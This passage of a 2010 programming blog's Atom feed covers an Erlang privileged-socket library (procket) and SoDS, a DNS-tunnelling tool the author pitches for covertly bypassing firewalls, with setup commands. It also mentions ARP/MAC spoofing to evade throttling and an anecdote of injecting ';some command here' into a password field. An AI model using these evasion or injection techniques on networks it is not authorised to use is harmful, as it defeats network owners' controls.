class="Constant"&gt;&amp;quot;&lt;a href="http://a1.twimg.com/profile_images/579214364/Photo_on_2009-11-23_at_10.20__5_normal.jpg"&gt;http://a1.twimg.com/profile_images/579214364/Photo_on_2009-11-23_at_10.20__5_normal.jpg&lt;/a&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;]&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Constant"&gt;&amp;quot;count&amp;quot;&lt;/span&gt;: &lt;span class="Identifier"&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;that&amp;quot;&lt;/span&gt;: &lt;span class="Constant"&gt;&amp;quot;5&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;be&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;2&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;big&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;2&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;know&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;2&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;love&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;2&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;not&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;2&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;1st&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;abl&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;about&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;after&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;appear&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;appl&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;around&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;becom&amp;quot;&lt;/span&gt;:&lt;span class="Constant"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;In conclusion, wwallo allows you to voyeuristically live your life through the lives of others who aren't leading very interesting lives either. Maybe the next version of wwallo should be a tagcloud for where you want to be, geocoordinates set to Tahiti.&lt;br /&gt;&lt;br /&gt;And did I mention that &lt;a href="http://webmachine.basho.com/"&gt;webmachine&lt;/a&gt; and &lt;a href="http://jquery.com/"&gt;jQuery&lt;/a&gt; are freaking awesome?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-5566199044845196742?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/5566199044845196742/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/01/wwallo-is-tag-cloud-for-where-you-are.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5566199044845196742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5566199044845196742'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/01/wwallo-is-tag-cloud-for-where-you-are.html' title='wwallo is a tag cloud for where you are'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5710087056831351652</id><published>2010-01-11T16:17:00.000-05:00</published><updated>2010-03-13T14:17:02.723-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>Continuing the procket clean up</title><content type='html'>Some &lt;a href="http://github.com/msantos/procket/commit/00214e3fe92ea97689f8dbcda22d5c492f9bb40f"&gt;small changes to procket&lt;/a&gt;. If you're &lt;a href="http://blog.listincomprehension.com/2010/01/sockets-with-privileges-or-avoiding.html"&gt;playing along&lt;/a&gt; at home, the changes don't affect the procket:listen/1 and procket:listen/2 interface.&lt;br /&gt;&lt;br /&gt;The procket NIF now requires the elements to be acted on (the path to the Unix socket and/or the file descriptor of the listener on the Unix socket) to be explicitly passed. The Erlang code must track the path to the Unix socket, the fd listening on the Unix socket and the privileged socket returned from procket_cmd.&lt;br /&gt;&lt;br /&gt;Since the procket NIF does not internally track any state or allocate memory, it can handle multiple file desciptors up to the process' resource limits.&lt;br /&gt;&lt;br /&gt;The changes from the commit message:&lt;br /&gt;&lt;br /&gt;open/2 -&amp;gt; open/1 : vestigal protocol arg removed, stick to streams. Erlang module changed to match (along with the bizarre passing in of the port as a protocol, who did that? o_O)&lt;br /&gt;&lt;br /&gt;Returns the socket descriptor listening on the Unix socket: {ok, FD}&lt;br /&gt;&lt;br /&gt;poll/0 -&amp;gt; poll/1 : takes the socket descriptor, returns {ok, Socket}&lt;br /&gt;&lt;br /&gt;close/0 -&amp;gt; close/2 : close(SocketPath, SocketDescriptor), closes the socket descriptor and deletes the socket path, returns "ok"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-5710087056831351652?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/5710087056831351652/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/01/continuing-procket-clean-up.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5710087056831351652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5710087056831351652'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/01/continuing-procket-clean-up.html' title='Continuing the procket clean up'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-6990129295710724291</id><published>2010-01-09T23:12:00.000-05:00</published><updated>2010-03-13T14:17:17.453-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>Sockets with Privileges, or Avoiding Setuid Erlang</title><content type='html'>There are a few things which require, or at least are easier to handle, in process: PAM, GSS-API, file descriptors ....  While it may be possible to handle these using a separate process, like an Erlang port, it's more comfortable to handle it within the virutal machine.  Previously, the only way to do this would have been by using a linked-in driver; though I haven't tried writing one, they have the reputation of being complex and error prone, an easy way of reducing the reliability of the Erlang VM.&lt;br /&gt;&lt;br /&gt;With the introduction of the &lt;a href="http://erlang.org/doc/man/erl_nif.html"&gt;Erlang NIF&lt;/a&gt; interface, there now exists a simple, though synchronous, method of interfacing with C libraries.  Using the NIF interface is &lt;a href="http://blog.listincomprehension.com/2009/11/simple-mutable-variables-using-erlang.html"&gt;pretty easy&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;One of the problems with using a virtual machine is dealing with actions that require heightened privileges. In a standalone program, you would simply run as root, do whatever needs to be done as root, then drop your privileges. With a language running in a virtual machine, the VM does way too much before your code would be able to drop its privs. The result is unpredictable.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Ways of Handling Privileged Sockets&lt;/h3&gt;&lt;br /&gt;One example is requesting a socket on a low port.&lt;br /&gt;&lt;br /&gt;For completeness, there are many ways of handling privileged sockets without resorting to setuid:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Use the firewalling capability of the OS, like iptables, to forward packets from the low port to the unrestricted port on which your application is running.&lt;/li&gt;&lt;li&gt;Use a separate device, like a load balancer, router, or firewall, to forward packets from the low port to your service.&lt;/li&gt;&lt;li&gt;Run an application in userspace that binds the low port and forwards packets; this could be a dedicated proxy like squid or nginx or a small shim like socat.&lt;/li&gt;&lt;li&gt;Run as root. All the power of Erlang combined with complete system access! What could go wrong?&lt;br /&gt;&lt;br /&gt;For certain tasks, this may be the way to go though. It'd be interesting (and very likely awesome) to see a version of &lt;a href="http://www.cfengine.org/"&gt;cfengine&lt;/a&gt; (or &lt;a href="http://reductivelabs.com/products/puppet/"&gt;puppet&lt;/a&gt; or &lt;a href="http://wiki.opscode.com/display/chef/Home"&gt;chef&lt;/a&gt;) written in Erlang.&lt;/li&gt;&lt;/ol&gt;There may be times that doing any of the above is not too convenient.  &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; provides a way for the Erlang VM to grab a privileged socket without too much hassle.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; consists of an NIF shared library and a setuid executable. On Unix systems, file descriptors are allowed to be passed between processes using &lt;a href="http://en.wikipedia.org/wiki/Unix_domain_socket"&gt;local (Unix) domain sockets&lt;/a&gt;. procket works by creating a local domain socket&lt;iframe align="left" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=listincom-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=bpl&amp;amp;asins=0131411551&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="align: left; height: 245px; padding-right: 10px; padding-top: 5px; width: 131px;"&gt;&lt;/iframe&gt; from within the Erlang VM using an NIF, listening on the socket, then spawning a setuid exectuable that binds the privileged socket. The setuid executable then drops its privs and passes the file descriptor back to the VM over the local socket.&lt;br /&gt;&lt;br /&gt;To handle the actual setup of the local domain sockets, I used &lt;a href="http://www.normalesup.org/~george/comp/libancillary/"&gt;libancillary&lt;/a&gt;  (which quite rightly bills itself as "black magic on Unix domain sockets").&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;The Erlang NIF&lt;/h3&gt;&lt;br /&gt;The NIF consists of &lt;a href="http://github.com/msantos/procket/blob/master/c_src/procket.c"&gt;a C file&lt;/a&gt; that is compiled into a shared library and an &lt;a href="http://github.com/msantos/procket/blob/master/src/procket.erl"&gt;Erlang module&lt;/a&gt; to load the library. The NIF interface is setup using a macro:&lt;br /&gt;&lt;pre class="Code"&gt;ERL_NIF_INIT(procket, nif_funcs, load, reload, NULL, NULL)&lt;br /&gt;&lt;/pre&gt;The first argument is the name of the module to be called from within Erlang. The second argument points to the struct holding our exports. In this case:&lt;br /&gt;&lt;pre class="Code"&gt;static ErlNifFunc nif_funcs[] = {&lt;br /&gt;        {"open", 2, sock_open},&lt;br /&gt;        {"poll", 0, poll},&lt;br /&gt;        {"close", 0, sock_close}&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;The export "open" in the procket module, called with an arity of 2, calls our C function sock_open.&lt;br /&gt;&lt;br /&gt;The NIF can optionally call other functions based on certain events (as defined in the ERL_NIF_INIT() macro), such as on load, upgrade, etc. I've only handled load and reload to allocate memory for the data structures.&lt;br /&gt;&lt;br /&gt;NIF's can hold state. While it would be more predictable and safer to require arguments to be returned and passed in again on each function call (the NIF holds the file descriptor and path to the Unix socket), for expediency, I didn't do it. And even in this small example, it led to a few annoying bugs. Let that be a lesson.&lt;br /&gt;&lt;br /&gt;The module interface has three actions: open, poll and close. &lt;br /&gt;&lt;br /&gt;"open" takes a path (a string) to the location of the Unix domain socket and a port number. For safety, the socket should probably reside somewhere only the user running the Erlang VM has access to (by default, the socket will be placed under a directory in /tmp or wherever you have TMPDIR set to). On some platforms, Unix sockets are created with mode 777, which could lead to hijinks on multi-user systems.&lt;br /&gt;&lt;br /&gt;"open" creates the Unix socket, sets the socket to non-blocking, then listens on it.&lt;br /&gt;&lt;br /&gt;"poll" attempts to accept a connection on the Unix socket. If there is a connected client, it will receive the message (our file descriptor) and return a tuple in the format {ok, FD}.&lt;br /&gt;&lt;br /&gt;"close" removes the socket and cleans up the data structure and pipe file descriptor.&lt;br /&gt;&lt;br /&gt;The socket path and Unix socket file descriptor are stored in a data structure within the NIF, so the caller doesn't need to provide them when using poll() or close(). Arguably, both poll() and close() should have an arity of 2 as well (path, pipe file descriptor); that way the module would be stateless and would be able to handle as many sockets as required by the program. Probably a mistake that should be corrected in the future.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;The Setuid Binary&lt;/h3&gt;&lt;br /&gt;&lt;a href="http://github.com/msantos/procket/blob/master/c_src/procket_cmd.c"&gt;procket_cmd.c&lt;/a&gt; is spawned from the procket Erlang module with root privileges, using setuid&lt;iframe align="left" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=listincom-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=bpl&amp;amp;asins=0596003943&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="align: left; height: 245px; padding-right: 10px; padding-top: 5px; width: 131px;"&gt;&lt;/iframe&gt; or sudo. It essentially does:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;parses command line arguments (potentially dangerous since we are parsing user input and performing actions, such as memory allocation, based on it)&lt;/li&gt;&lt;li&gt;opening the socket and performing any additional operations required by the protocol&lt;/li&gt;&lt;li&gt;dropping our privileges&lt;/li&gt;&lt;li&gt;connecting to the Unix socket and writing the socket file descriptor&lt;/li&gt;&lt;li&gt;exiting&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;On error, the "procket" command will print out some debug output.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;The Erlang Module&lt;/h3&gt;&lt;br /&gt;The &lt;a href="http://github.com/msantos/procket/blob/master/src/procket.erl"&gt;Erlang module&lt;/a&gt;'s interface mirrors the C NIF: open/2, poll/0 and close/0. To make it easier to use, these exports are wrapped by listen/1 and listen/2.&lt;br /&gt;&lt;pre class="Code"&gt;listen(Port) -&amp;gt;&lt;br /&gt;    listen(Port, []).&lt;br /&gt;listen(Port, Options) when is_integer(Port), is_list(Options) -&amp;gt;&lt;br /&gt;    Opt = case proplists:lookup(pipe, Options) of&lt;br /&gt;        none -&amp;gt; Options ++ [{pipe, mktmp:dir() ++ "/sock"}];&lt;br /&gt;        _ -&amp;gt; Options&lt;br /&gt;    end,&lt;br /&gt;    ok = open(proplists:get_value(pipe, Opt), Port),&lt;br /&gt;    Cmd = make_args(Port, Opt),&lt;br /&gt;    case os:cmd(Cmd) of&lt;br /&gt;        [] -&amp;gt;&lt;br /&gt;            poll();&lt;br /&gt;        Error -&amp;gt;&lt;br /&gt;            {error, procket_cmd, Error}&lt;br /&gt;    end.&lt;br /&gt;&lt;/pre&gt;listen/2 composes the command line for the procket binary, atomically creates a unique path for the Unix socket if one was not provided (to prevent symlink race conditions), runs the setuid executable then polls the Unix socket.&lt;br /&gt;&lt;br /&gt;Preparing command line arguments to be passed to an executable is, admittedly, pretty ugly and risky, in a sort of retro, pre-millenial CGI sort of way. Passing the arguments from the program is fine, but allowing any sort of user input is just nasty. I once hacked a web app by putting a ";some command here" into the password field of an account signup (account details, I discovered, were set up by running a command in the shell).&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;An Example&lt;/h3&gt;&lt;br /&gt;Here's how you would use procket:&lt;br /&gt;&lt;pre class="Code"&gt;$ cd procket&lt;br /&gt;$ erl -pa ebin&lt;br /&gt;Erlang R13B03 (erts-5.7.4) [source] [rq:1] [async-threads:0] [hipe] [kernel-poll:false]&lt;br /&gt;&lt;br /&gt;Eshell V5.7.4  (abort with ^G)&lt;br /&gt;1&amp;gt; {ok, FD} = procket:listen(53, [{progname, "sudo priv/procket"},{protocol, udp}]).&lt;br /&gt;{ok,9}&lt;br /&gt;&lt;/pre&gt;netstat should display a socket listening on port 53/udp.&lt;br /&gt;&lt;pre class="Code"&gt;2&amp;gt; {ok, S} = gen_udp:&lt;br /&gt;open(53, [{fd,FD}]).&lt;br /&gt;{ok,#Port&amp;lt;0.929&amp;gt;}&lt;br /&gt;&lt;/pre&gt;gen_udp:open/2 and gen_tcp:listen/2 both take a file descriptor as an option.&lt;br /&gt;&lt;pre class="Code"&gt;3&amp;gt; receive M -&amp;gt; M end.&lt;br /&gt;&lt;/pre&gt;Use netcat to send some data to the Erlang process:&lt;br /&gt;&lt;pre class="Code"&gt;nc -u localhost 53&lt;br /&gt;blah&lt;br /&gt;^C&lt;br /&gt;&lt;/pre&gt;At your Erlang prompt, you should see something like:&lt;br /&gt;&lt;pre class="Code"&gt;{udp,#Port&amp;lt;0.929&amp;gt;,{127,0,0,1},47483,"blah\n"}&lt;br /&gt;&lt;/pre&gt;There is also an example of an echo server using procket in the source, see the README.&lt;br /&gt;&lt;br /&gt;At any rate, I hope this will be marginally useful to other Erlang n00bs. In the future, I am going to play with setting socket options and requesting raw sockets. This will allow creating ICMP packets, like ping, within Erlang, as well as doing some packet manipulation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-6990129295710724291?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/6990129295710724291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/01/sockets-with-privileges-or-avoiding.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/6990129295710724291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/6990129295710724291'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/01/sockets-with-privileges-or-avoiding.html' title='Sockets with Privileges, or Avoiding Setuid Erlang'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-8331637689257752500</id><published>2010-01-04T17:25:00.000-05:00</published><updated>2010-01-04T17:30:03.979-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='sods'/><title type='text'>SoDS and Domain Names</title><content type='html'>As an experiment in further obscuring traffic, &lt;a href="http://github.com/msantos/sods/commit/728463479073207dff47e5df616e98fb5228f6e9"&gt;I made a small change&lt;/a&gt; to the sods client and server to take multiple domain names from the command line. The maximum number of domains is hard coded to 256, just because.&lt;br /&gt;&lt;br /&gt;The domain names can either be subdomains, if you have only one domain (e.g., sshdns.p1.example.com sshdns.p2.example.com ...) or unique domains (e.g., sshdns.p.example1.com sshdns.p.example2.com sshdns.p1.example2.com).&lt;br /&gt;&lt;br /&gt;The sods server needs to be started with the same list of domains (e.g., p.example1.com p.example2.com &amp;nbsp;p1.example2.com) or the DNS requests will be rejected. If you want to disable this behaviour, start the sods server with the domain name set to "any". (The sods server checks the domain name to prevent it from answering to DNS scans, otherwise it wouldn't be too stealthy. Of course, if someone knows your domain name, they can easily scan for sods, spoof requests, etc.).&lt;br /&gt;&lt;br /&gt;I wonder if DNS servers ever throttle by domain. It would make more sense to restrict queries by client IP address, though even this could be worked around on a non-switched network, like most public wifi internet access, by ARP'ing fake MAC/IP addresses, sending out UDP packets from these IP's and sniffing the responses. On a switched network, the same effect is achievable in tandem with&amp;nbsp;&lt;a href="http://ettercap.sourceforge.net/"&gt;ettercap&lt;/a&gt;. Maybe a future feature to think about.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-8331637689257752500?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/8331637689257752500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/01/sods-and-domain-names.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/8331637689257752500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/8331637689257752500'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/01/sods-and-domain-names.html' title='SoDS and Domain Names'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-7617579436080777405</id><published>2009-12-30T14:44:00.000-05:00</published><updated>2010-04-10T21:48:13.806-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='sods'/><title type='text'>SoDS; Care and Feeding of,</title><content type='html'>&lt;a href="http://github.com/msantos/sods"&gt;SoDS&lt;/a&gt; provides a covert method of bypassing firewall restrictions, obscuring traffic analysis and hiding your data by tunnelling it over DNS. SoDS was intended to be small, resource efficient, reasonably portable with few dependencies (at least on Unix) as well as taking basic precautions against misuse.&lt;br /&gt;&lt;h2&gt;Test Ride&lt;/h2&gt;&lt;br /&gt;To get a feel for sods, its simple to try out:&lt;br /&gt;&lt;pre class="Code"&gt;git clone git://github.com/msantos/sods.git&lt;br /&gt;&lt;span class="Statement"&gt;cd&lt;/span&gt; sods/sods&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;&lt;span class="Statement"&gt;cd&lt;/span&gt; ../sdt&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Depending on your OS, you might need to adjust the Makefiles.&lt;br /&gt;&lt;br /&gt;To test sods, you'll need to have an SSH server available somewhere and root privs on your test host. Start up the socket server:&lt;br /&gt;&lt;pre class="Code"&gt;$ sudo ./sods &lt;span class="Special"&gt;-d&lt;/span&gt; /tmp &lt;span class="Special"&gt;-L&lt;/span&gt; localhost:&lt;span class="Constant"&gt;22&lt;/span&gt; &lt;span class="Special"&gt;-vvv&lt;/span&gt; a.example.com&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;In another window, open an SSH session:&lt;br /&gt;&lt;pre class="Code"&gt;$ ssh &lt;span class="Special"&gt;-o&lt;/span&gt; &lt;span class="Identifier"&gt;ProxyCommand&lt;/span&gt;=&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Constant"&gt;./sdt -r 127.0.0.1 sshdns.a.example.com&lt;/span&gt;&lt;span class="Statement"&gt;"&lt;/span&gt; &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;100&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h2&gt;Real World SoDS&lt;/h2&gt;&lt;br /&gt;To use sods, you'll need a few things:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;A publicly addressable IP&lt;/li&gt;&lt;li&gt;Something on which to run sods. The server doesn't need to be dedicated or high powered.&lt;/li&gt;&lt;li&gt;A registered domain name&lt;/li&gt;&lt;li&gt;A DNS server to host your domain&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Well, that may seem to be &lt;em&gt;waaaayyy&lt;/em&gt; too much bother, but it might not be as much work as it seems.&lt;br /&gt;&lt;h3&gt;Publicly Available IP Address&lt;/h3&gt;&lt;br /&gt;You need an IP address that is reachable from the Internet or control of a device that can forward packets to your sods server.&lt;br /&gt;&lt;br /&gt;The IP addresses the ISP assigns you tend to fall into 3 groups:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;the IP address is static and never (or rarely) changes&lt;/li&gt;&lt;li&gt;the IP address changes infrequently, but the reverse lookup for the address is static&lt;/li&gt;&lt;li&gt;the IP address and, consequently, the reverse address, changes frequently&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;You can work with any of these.&lt;br /&gt;&lt;br /&gt;The IP address must be able to receive UDP packets on port 53 and send packets from port 53. If your ISP blocks port 53 (DNS), then you'll have to look around for another ISP, use a hosted service or maybe piggyback off of a friend.&lt;br /&gt;&lt;h3&gt;A SoDS Server&lt;/h3&gt;&lt;br /&gt;You'll need sods to be running any time you might need it. SoDS doesn't require much in the way of resources, so I suggest using a low powered server that you can leave running all the time. The SoDS server might be the same device that you use for your gateway.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_VKBskse7x_4/SzvLsgHsj0I/AAAAAAAABgY/KUggmPfds2g/s1600-h/IMAG0018.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://4.bp.blogspot.com/_VKBskse7x_4/SzvLsgHsj0I/AAAAAAAABgY/KUggmPfds2g/s320/IMAG0018.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5421150541867421506" /&gt;&lt;/a&gt;&lt;br /&gt;I use a Linksys WRT54gl&lt;iframe src="http://rcm.amazon.com/e/cm?t=listincom-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=B000BTL0OA&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;" align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt; as my home router and sods server. But any small, lower power device will do: I've also used a Linksys NSLU2, and, more recently, a Sheeva Plug.&lt;br /&gt;&lt;h3&gt;A Registered Domain Name&lt;/h3&gt;&lt;br /&gt;If you're even thinking about setting this up, you probably already own a domain or two.&lt;br /&gt;&lt;h3&gt;Another DNS Server&lt;/h3&gt;&lt;br /&gt;Finally, you will need another DNS server to delegate your domain name. This could be a DNS server you run on another IP address, a service provided by your registrar or one of the many free DNS services on the internet (there are a bunch, any of them should work, google for them).&lt;br /&gt;&lt;br /&gt;Assuming your domain name is example.com with an IP address of 10.10.10.10, here is what you would have to set up.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;If you have a static IP address (or one that doesn't change too frequently to be inconvenient), delegate a name server for a subdomain (in this example, "a"):&lt;br /&gt;&lt;pre class="Code"&gt;example.com.    IN  A   10.10.10.10&lt;br /&gt;a               IN  NS  example.com.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Some ISP's will change your IP, but maintain a consistent reverse DNS lookup for your IP address (something like a DHCP name). You can use this by setting a CNAME.&lt;br /&gt;&lt;br /&gt;For example, if your IP address always resolves to:&lt;br /&gt;&lt;pre class="Code"&gt;macaddr-00-00-aa-bb-cc-dd.home.isp.com&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You could set up your DNS entry as follows:&lt;br /&gt;&lt;pre class="Code"&gt;a.example.com.  IN  CNAME   macaddr-00-00-aa-bb-cc-dd.home.isp.com.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Finally, if your ISP gives you a dynamic IP address, you can use one of the dynamic DNS services. Many of these services are free and will provide a consistent reverse DNS entry that you can exploit as with the previous example.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;Set Up Your SoDS Server&lt;/h3&gt;&lt;br /&gt;Set up your sods server and point it to whatever SSH or tcp servers you're interested in. These servers don't have to be publicly exposed; they could be running somewhere behind your firewall.&lt;br /&gt;&lt;br /&gt;SoDS is configured from the command line, but its easy to wrap it in a script for system startup. Here is an example for OpenWRT:&lt;br /&gt;/etc/default/sods:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Identifier"&gt;OPTIONS&lt;/span&gt;=&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Constant"&gt;-D -L 